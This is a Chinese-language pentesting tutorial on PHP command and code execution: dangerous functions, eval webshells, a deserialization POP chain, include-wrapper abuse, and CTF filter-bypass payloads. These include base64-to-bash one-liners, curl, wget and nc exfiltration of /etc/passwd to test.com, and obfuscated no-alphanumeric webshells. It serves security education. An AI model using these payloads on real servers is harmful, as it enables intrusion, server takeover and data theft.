通过前面的文章,对java代码已经有一定的了解了,基本上可以自己写exp了。现在转向php命令执行漏洞
当应用程序将用户可控制的数据,未经充分验证或过滤,直接传递给能够执行系统命令/程序的函数时,所引发的安全漏洞,命令的执行在操作系统层面,比如执行Shell命令(如ls,whoami,ipconfig等)。该漏洞的危害等级属于(高危/严重)级别。其直接的影响包括服务器完全沦陷:获取Shell,控制整个服务器。
PHP中的核心命令执行函数
执行外部程序的函数
system()
描述:执行外部程序,并显示输出。
原型:string system ( string $command [, int &$return_var ] ),其中$command是必需的字符串参数,表示要执行的系统命令(如"ls -l"),而[, int &$return_var ]是一个可选的引用参数,$return_var参数用于接收命令执行后的状态码(0 表示成功,非零表示失败)
exec()
描述:执行一个外部程序。
原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
行为:执行命令,但不会直接输出结果。可以将输出按行存储到数组$output中。返回最后一行输出。如果命令执行失败,返回FALSE。
shell_exec()
描述:通过shell环境执行命令,并将完整的输出以字符串返回。
原型:string shell_exec ( string $cmd )
行为:执行命令,并返回输出的全部字符串。如果没有显示的输出或错误,返回NULL。
passthru()
描述:执行外部程序并显示原始输出。
原型:void passthru ( string $command [, int &$return_var ] )
行为:直接输出命令的原始结果,常用于执行二进制数据(如图像、音频)的命令。不返回值,但可以通过$return_var获取退出状态码。
进程控制函数
proc_open()
描述:执行一个命令,并且打开用于输入/输出的文件指针。
原型:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
行为:此函数非常强大,可以控制进程的输入、输出、错误流,还可以指定工作目录和环境变量。返回一个表示进程的资源类型,失败返回FALSE。
popen()
描述:打开一个指向进程的管道。
原型:resource popen ( string $command , string $mode )
行为:打开一个管道,用于读取或写入命令的输入/输出。返回一个文件指针,可以像操作文件一样进行读写。使用pclose()关闭。
其他可能涉及命令执行的函数
mail()
描述:发送邮件。
原型:bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
行为:当使用sendmail作为邮件发送程序时,$additional_parameters参数可能被用来向sendmail传递参数,如果用户能够控制该参数,则可能注入命令。因此,使用此函数时,应对$additional_parameters进行严格的过滤。
反引号运算符 `
描述:反引号(`)内的字符串会被作为shell命令执行,并且返回输出(与shell_exec()相同)。
总结
PHP中可执行命令的函数众多,从直接的system()到间接的mail(),从显式调用到通过回调函数执行。了解这些函数得作用与执行方式是渗透测试必要技术。同时也是代码审计的重要手段。
命令执行漏洞快速理解
首先搭建一个php运行环境,可以下载phpstudy一键部署。安装之后是这样的如下图:
然后进行如下配置之后,就可以启动服务器了。
如下这样表示应用启动成功。
命令执行函数对比
我们在网站根目录下创建一个目录execphp,然后新建一个php文件exec.php,代码就这样:<?php system("dir"); ?> 直接执行dir命令看看效果:
执行了dir命令,并且返回了执行结果,在看看其他函数的执行效果。
使用exec函数执行系统命令之后,却看不到结果。
这也是exec与system函数的最大的区别,exec函数执行之后会返回结果,但是不会显示的输出结果,要输出结果需要显示的输出。
如下图:
同样的shell_exec函数也是如此:
在这种情况下的命令执行,因为无返回的情况,可能导致判断错误,认为不存在漏洞。这在CTF中非常常见。这几个常见的命令执行函数的结果对比如下:
函数 | 返回值 | 是否直接输出 | 用途 |
|---|
shell_exec()
| 字符串 | ❌ 不输出 | 需要处理输出结果时 |
system()
| 最后一行输出 | ✅ 直接输出 | 只想执行并看到结果 |
passthru()
| 无 | ✅ 直接输出原始二进制 | 输出二进制数据(如图像) |
exec()
| 最后一行输出 | ❌ 不输出(除非指定数组) | 需要返回状态码时 |
反引号`
其作用是直接将反引号包裹得内容当成系统命令来执行:它也不会直接输出结果,而是返回执行得结果,需要显示的将结果输出。
proc_open() 和popen()
proc_open()基础语法与参数
resource proc_open ( string $command, // 要执行的命令 array $descriptorspec, // 描述符规范 array &$pipes, // 管道引用 string $cwd = null, // 工作目录 array $env = null, // 环境变量 array $other_options = null // 其他选项)
使用如下,稍显复杂:proc_open通常不在禁用列表中,可用来绕过disable_functions限制
popen() - 简化的进程管道
popen()基础语法
resource popen ( string $command, // 要执行的命令 string $mode // 模式:'r' 读 / 'w' 写)
最简单的使用如下,它也是无法直接输出命令结果,需要显示的输出执行结果。
php中的代码执行
代码执行与命令执行的核心区别在于攻击向量与执行方式:代码执行是指攻击者能够在目标环境中执行特定编程语言(如PHP)的代码,这些代码可进一步调用系统命令,从而间接实现系统控制;而命令执行则是攻击者直接注入并执行操作系统命令。两者虽然最终都可能获取系统权限,但代码执行通常需经过“代码解析→系统调用”的中间步骤,而命令执行则更直接地与操作系统交互。
eval() - 最危险的函数
它直接执行字符串中的PHP代码,同时它也是一句话木马中经常遇见的函数。比如下面这样
执行原理是这样的,它会将用户输入的内容当成php代码执行,那么原来的<?php eval($_GET['code']); ?> 就相当于
<?php eval(system('dir');); ?> eval函数会执行system('dir'); 这个php代码,所以这里的格式需要PHP的语法格式。
所以一句话木马的原理也是这样。
比如常见的一句话木马内容:<?php eval($_POST['code']); ?>
其密码为code其实就是post的参数名字,可以是任意名字,而执行的代码将通过post的code参数传递,而其要执行的代码通常为反弹shell的代码。通过代码执行的中间步骤,转而执行系统命令。
也可以通过cookie的方式写入一句话:<?php @eval($_COOKIE['aaa']); ?> 如果使用了@符号,表示忽略报错信息。
assert() - 被滥用的调试函数
PHP 7之前assert可执行代码,与eval用法一样 assert($_GET['assert']);
create_function()
PHP 5.3 之前用于动态创建匿名函数的函数,其内部还是使用得eval函数进行的代码执行-已弃用
preg_replace() + /e修饰符(PHP<5.5)
/e修饰符使替换字符串作为PHP代码执行
$input = $_GET['name'];/e修饰符使替换字符串作为PHP代码执行preg_replace('(.*)/e', 'aaaa', $input);
比如输入?name=phpinfo();就会将其当成php代码执行。现在的php版本已经弃用。
回调函数的执行漏洞
array_map() - 数组回调函数
该函数可以将参数内容当成函数名,并执行。如下图:
该函数也是CTF中比较常用的函数。比如这样使用:array_map($_GET['a'], array($_GET['b'])); 同样 输入 ?a=system&b=whoami 这样函数名,以及要执行的参数均可自有控制,更危险了。
call_user_func()-系列函数
其用法与上面的函数几乎一样:call_user_func($_GET['func'], $_GET['cmd']); 同样的第一个是函数名,第二个是函数执行的参数。
它还有call_user_func_array函数,效果一样,只是第二个参数类型是array类型
其他回调函数
usort() / uasort() - 排序回调, array_filter() / array_walk() ,register_shutdown_function(),register_tick_function()等等
比如usort() 它接受两个参数:待排序的数组和一个比较函数。比较函数通常是一个用户自定义的回调函数,用于定义元素间的排序规则,如果自定义的比较函数可控,同样可以造成命令执行。
回调函数其用法基本差异不大,当调用的函数名可控时,可能会造成代码执行,从而执行系统命令。
动态函数/变量执行
可变函数调用
变量函数名,这种方式其实属于一种代码的拼接过程,比如代码是这样的:
$func = $_GET['aaa']; $func($_GET['bbb']);
当用户get请求aaa=system&bbb=dir 上面的代码会将会变成这样:
$func=system 下一步将func变量替换成对应的值:所以第二行代码会变成:
system($_GET['bbb']);从而最终就变成了system(‘dir’);最终执行代码,从而执行系统命令。
这何尝不是一种写入木马的方式呢。
也可以通过对象调用方法的方式,进行组合比如:$object(对象)->{$_GET['method']}($_GET['arg']); 方法名可控,参数可控同样可以达成代码执行的效果,但是有前提是只能调用$object对象存在的方法。
${} 变量变量
这种写法是一个变量变量的赋值,比如${},其通常不能直接执行代码,一般是:用户输入 → 变量变量 → 变量覆盖 → 代码执行的过程。但是在PHP 7.2+中,${...}() 这种语法被严格限制了。花括号内的表达式必须返回一个字符串类型的变量名,而不能直接是字符串字面量。所以其执行有一些条件限制。
比如现有代码:
// 假设原有代码$func="printf";$func('Hello'); // 正常输出: Hello//存在漏洞的代码:PHP 7.2 之前:可以正常工作${$_GET['a']}($_GET['b']);
所谓变量变量就是用一个变量作为第二个变量的名字。从而导致第二个定义的变量是根据第一个变量的值进行变化的。
攻击过程:可覆盖 $func 比如输入?a=func&b=system,访问web之后:代码变成:$func = 'system'; $func('hello') ,最终变成 system('hello');那么如果就存在了执行命令的可能性。比如这里的hello变成其他命令,就完成了命令执行。当前的版本中其实现其实就是上面的可变函数。
反序列化漏洞的代码执行
unserialize() - 反序列化执行
php中的反序列化是将PHP 变量(包括对象)转换为可存储或传输的字符串的过程。而反序列化是将序列化的字符串还原为原始 PHP 变量(包括对象)的过程。
其核心函数是:serialize() - 序列化和unserialize() - 反序列化
先看看序列化serialize()
得到是一个字符串内容:a:7:{s:6:"string";s:5:"Hello";s:3:"int";i:123;s:5:"float";d:3.14;s:4:"bool";b:1;s:5:"array";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}s:4:"null";N;s:6:"object";O:3:"aaa":1:{s:2:"aa";i:10;}} 这一串看起来很复杂,但是有一定的规律:
在PHP中存在反序列化数据类型标识。s: - 字符串,i: - 整数,d: - 浮点数,b: - 布尔值,a: - 数组,O: - 对象,N: - null,C: - 自定义对象,r: - 引用 根据这个规则,那么这里的a:7 表示数组长度为7 刚好对应$data的长度。以此类推后面的比如s:6:"string";s:5:"Hello" 表示字符串长度6,值是string,解析来是字符串长度5,值是hello,就得到了$data的第一个元素。根据这个规则,大佬就可以手搓序列化数据。
那么反序列化就是将其还原成这个array的过程如下:
那么其代码执行的产生是怎样的。这就需要使用到反序列化过程中的魔术方法了
__sleep() - 序列化时自动调用以及__wakeup() - 反序列化时自动调用,当该方法中存在恶意操作,或者用户可控的代码,将会导致代码执行。比如在序列化或者反序列化过程中存在用户可控内容:
在序列化或者反序列化过程从自动调用上诉两个方法,从而实现了代码执行,最终执行系统命令。
POP链构造-利用反序列化
比如存在下面的服务端代码:通常也会使用一些魔术方法,比如 __destruct:__destruct 的执行时机并不总是确定的,可能在脚本结束、对象引用被设为 null、超出作用域或调用 unset() 时触发
<?php//有2个正常的类代码如下classA{ public $obj; public function__destruct() {//__destruct 是 PHP 中的一个魔术方法,它在对象被销毁前自动调用$this->obj->test(); }}classB{ public $func; public $param; public functiontest() {//test方法中使用回调函数,调用$func(),参数$paramcall_user_func($this->func, $this->param); }}$data = $_GET['data'];//get请求中获取内容unserialize($data);//反序列化data?>
看似正常的代码,却存在代码执行的潜在风险。比如直接反序列化用户的数据。比如下面的代码:
<?php//有2个正常的类代码如下classA{ public $obj; public function__destruct() {//构造函数调用obj的test方法$this->obj->test(); }}classB{ public $func; public $param; public functiontest() {//test方法中使用回调函数,调用$func(),参数$paramcall_user_func($this->func, $this->param); }}// 构造利用链$a = new A();$b = new B();$b->func = 'system';$b->param = 'ipconfig';$a->obj = $b;echo serialize($a);?>
在原有的代码基础上创建2个对象,然后精心构造一些内容,然后得到的就是一个对象A,其属性$obj =$b(B对象),而$b对象的属性fuc和param分别是上面的代码执行的内容,然后输出这个$a对象的序列化数据如图:并且会在对象销毁时调用魔术方法__destruct(),然后执行到系统命令。
现在使用这个对象的序列化字符串,发送给pop.php:
达到命令执行的效果。看似没有创建对象,其实在反序列化过程中创建了对应的对象,同时会自动调用魔术方法。在PHP的反序列化漏洞利用过程中,很多都是通过魔术方法实现的。
文件包含导致的代码执行
include/require 系列
主要特点是会将包含的内容当成php代码执行。
_once变体:防重复包含include_once和require_once是安全增强版,确保同一文件在整个脚本生命周期中仅被加载一次。这在类定义、函数声明或常量注册中至关重要,可避免“Cannot redeclare class”等致命错误。
比如include函数,<?php include($_GET['aaa']); ?>直接这样包含一个用户输入的文件:
就使用当前目录下的exec.php文件,可以看到相当于访问了exec.php,直接将exec.php中的所有代码执行了一遍。有点类似这样:直接将包含的文件里面的内容复制到当前php的代码区执行。
当allow_url_include=On时,可以包含远程文件,即include('http://www.test.com/exec.php');可以这样包含。
包含中的特殊协议利用
data协议执行代码,服务端还是上面的例子,只是发送的请求改变了,比如发送的请求时data协议内容:aaa=data://text/plain,<?php system('ipconfig'); ?> 将用户输入的内容当成php代码执行。data:// 协议流和 http:// 一样,都受 allow_url_fopen 设置的控制,所以需要设置allow_url_include=On。
filter伪协议文件包含执行代码:还是使用最开的exec.php文件内容,使用filter伪协议读取文件内容:
php://input 读取POST数据
php://input 是一个只读流,允许你读取原始的 HTTP 请求体,这里将读取的内容交给include,达到代码执行的效果,但是其必须指定内容为<?php 格式才行。
expect:// 执行命令(需安装扩展)以及ZIP协议等
比如zip协议,只需要直接填写文件路径即可。代码的执行均是include实现。
小tips
在 PHP 中,eval,echo、print、isset、unset、include 等不是函数,而是语言结构(language constructs)。它们是 PHP 解析器内置的语法单元,不能被变量引用、不能作为回调、不能通过 call_user_func() 或动态调用。
什么意思呢?记得前面的回调函数call_user_func系列函数,通过回调的方式进行代码执行。如下:函数名和参数均可控的情况下:
我们输入eval看似没问题需要让其调用eval方法,在执行代码。但是它却报错了,提示第一个参数应该是一个有效的回调函数,这时候就需要用php中的函数方法,而不是语言结构方法。比如system函数,就可以成功。
以上就是命令执行和代码执行一些方式,他们的最主要的区别就是:
代码执行:在应用程序运行时环境中执行编程语言代码,比如php代码,java代码等,执行的是代码。代码执行范围更广,包含但不限于命令执行。
命令执行:直接调用操作系统层面的命令解释器(如bash、cmd、PowerShell)执行系统命令
而代码执行的最终目的也是为了执行的系统命令,那么最终也要执行系统命令的那些函数比如system(),exec(),从而执行系统命令。代码执行作为入口,命令执行作为攻击手段。
绕过技术
上面基本都是直接可用的情况,实际情况尤其是CTF中,基本上都有过滤的情况。下面是一些常见的绕过技巧
命令分隔符绕过
// 常用分隔符; # 顺序执行,一般是linux才有效,windows无效| # 管道,只显示后面命令结果|| # 前一个失败执行后一个& # 后台执行,都会执行&& # 前一个成功执行后一个` # 反引号执行$(...) # 命令替换\n # 换行符 (0x0a)\r # 回车符 (0x0d)
空格绕过
// 替代空格的字符${IFS} # Linux中最常用$IFS$9 # $9是第九个参数,通常为空{cat,flag.txt} # 大括号扩展<或<> # 重定向符号%09 # TAB的URL编码%20 # 空格的URL编码%0a # 换行的URL编码
大小写绕过
// 针对简单的大小写敏感过滤WhOaMiWHOAMIwHoAmI
双写绕过
一般是针对黑名单过滤,替换的情况
// 针对简单替换过滤whwhoamioami // 如果过滤whoami为"",双写可绕过
反斜杠
// 插入反斜杠w\ho\am\iwho\amic\a\t /etc/passwd
通配符绕过(Linux)
比如?表示一个任意字符,*表示任意个任意字符
// ? 匹配单个字符/bin/cat /etc/passwd// 可替换为/bin/c?t /etc/passwd/???/c?t /etc/passwd// * 匹配多个字符cat /etc/passwd// 可替换为cat /etc/pass*cat /etc/pass??
变量拼接
通常需要对shell命令中的变量一定的了解,比如字符的截取技巧。如下
// bash变量拼接a=c;b=at;c=/etc/passwd;$a$b $ca=who;b=ami;$a$b// 使用环境变量${PATH:0:1} // 获取PATH第一个字符${PWD:0:1} // 获取当前目录第一个字符
编码绕过
通常需要配合管道符进行操作如下:
// Base64编码echo 'YL2V0Yy9wYXNzd2Q=' | base64 -d | bash`echo 'L2V0Yy9wYXNzd2Q=' | base64 -d`// Hex编码echo '636174202f6574632f706173737764' | xxd -r -p | bash
空变量绕过
主要是利用的是当一个变量未定义时,其默认为空
// $a未定义时为空cat$atest.txt // 相当于 cat test.txtwho$@ami // $@为空who${x}ami // x未定义
引号绕过
// 单引号、双引号c'a't /etc/passwdc"a"t /etc/passwdc'a"t' /etc/passwd
反斜杠换行绕过
// 利用\在末尾可以连接下一行ca\t /etc/passwd
内联执行绕过
// 使用$()或``内联执行echo $(whoami)echo `whoami`
无回显绕过技巧
当命令执行没有回显的时候,这时候就需要一些其他方法来判断了,与SQL注入一样,同样存在延时的判断方法。
时间盲注
// 通过sleep判断命令是否执行whoami && sleep 5ping -c 4 127.0.0.1
比如使用ping的方式,会通常会有几秒钟的延时
DNS外带数据
其实就是将命令执行的结果发送给指定的服务器,在自己指定的服务器上接收命令执行的结果
// Linuxcurl `whoami`.test.comping -c 1 `whoami`.test.comnslookup `whoami`.test.com// 使用digdig `whoami`.test.com
HTTP外带数据
同DNS类似其实就是将命令执行的结果发送给指定的服务器,在自己指定的服务器上接收命令执行的结果
// 使用curl/wgetcurl http://test.com/$(whoami)wget http://test.com/$(cat /etc/passwd|base64)// 使用ncwhoami | nc test.com 4444
文件写入外带
外带原理均一样,通过将数据发送到其他地方,从其他服务器获取执行结果
// 写入web目录再访问whoami > /var/www/html/result.txtcat /etc/passwd > /tmp/result && curl -X POST -d @/tmp/result http://test.com
Windows命令分隔符
命令分隔符%0a // 换行%0d // 回车| // 管道|| // 或& // 按位与(都会执行)&& // 与(前成功执行后)空格绕过whoamiwho^ami // ^转义who"ami // 双引号who'e'x'e // 单引号who%20ami // URL编码空格路径绕过// 短文件名C:\Progra~1\test.exe// 通配符type c:\*.txt// UNC路径\\127.0.0.1\c$\windows\system32\cmd.exe
无字母数字Webshell
使用^异或生成字符串以及通过取反生成字符串,其实现原理:每个字符通过 ASCII 码进行按位异或操作
// 使用^异或生成字符串 // 生成'system'字符串 $_ = '@@@@@@' ^ '3934%-'; $_($_GET['cmd']);;
比如下面这样:首先通过异或的方式获得可执行命令或者代码的字符串,再通过可变函数或者变量变量的方式进行执行,完成命令调用。
那么可以使用如下通用代码,自定义字符串,符号,生成想要的字符串。
取反生成
使用~取反,其核心原理也是通过操作字符的ASCII 码完成。
其核心思路是:1.目标字符串分析-即需要得到的目标字符串 2.取反操作-对目标字符串的每个字符的ASCII值按位取反(0变1,1变0),得到新的字节值(范围为0-255) 3.用八进制或十六进制表示取反后的字节:为了不使用英文字母,我们选择使用八进制转义序列(因为十六进制会包含字母)。将每个字节转换为八进制
比如这样:使用 \xxx 八进制格式表示每个取反后的字节
如果再结合上面的异或操作,就可以得到下面的类型:
<?php // 生成'system'字符串$_ = '@@@@@@' ^ '3934%-';// 使用~取反$__ = ${~"\240\270\272\253"}['cmd'];$_ ($__);?>
依然可以执行
这样即可直接使用取反或者异或,也可多种方式结合,从而绕过waf拦截。
自增生成
主要利用++自增运算,其实也是操作的ASCII 码,主要从某个字符作为起点,然后++到想要的字符的ASCII 码位置即可。如果不需要任何英文字母,那么可以这样:当然其他类型的也可转换成字符串,但是只有对象和数组首字母会是英文字母。但是对象需要使用到英文字母。所以只有空数组可以达到效果:如下:
可以通过这样的方式得到字符A,在ASCII 码表A等65,所以需要其他字符可自增对应的次数即可。比如这样:
<?php$_=[];//定义空array数组$_=@"$_";//将其转换成字符串$_=$_['!'=='@'];//得到字符串的索引为0的字符--A$______=$_;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//得到S$___ =$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;//得到Y$____=$___;$____++;//得到T$_____=$______;$_____++;$_____++;$_____++;$_____++;//等到E$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;//M$______ =$_.$__.$___.$____.$_____.$______;//组合成system$______('dir');?>
那么又可以执行代码了,又可以结合其他方式,可自行尝试。
多层编码绕过
比如Base64 + URL编码,属于是linux bash语法的绕过,比如:
// Base64 + URL编码echo%20%27%59%32%56%6f%64%47%46%6b%5a%58%4a%68%62%58%42%76%63%6e%52%70%62%6d%64%68%64%47%56%6b%49%47%5a%70%62%47%56%66%5a%32%39%76%61%32%6c%6c%63%79%41%3d%3d%27%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68//url解码之后echo 'Y2F0IC9ldGMvcGFzc3dkCg==' | base64 -d | bash
在命令行执行如下:
通常情况下需要根据实际情况,采取对应的绕过方式,很多的绕过方法不论是在注入,或者命令执行,具有通用性,比如注释绕过空格等等。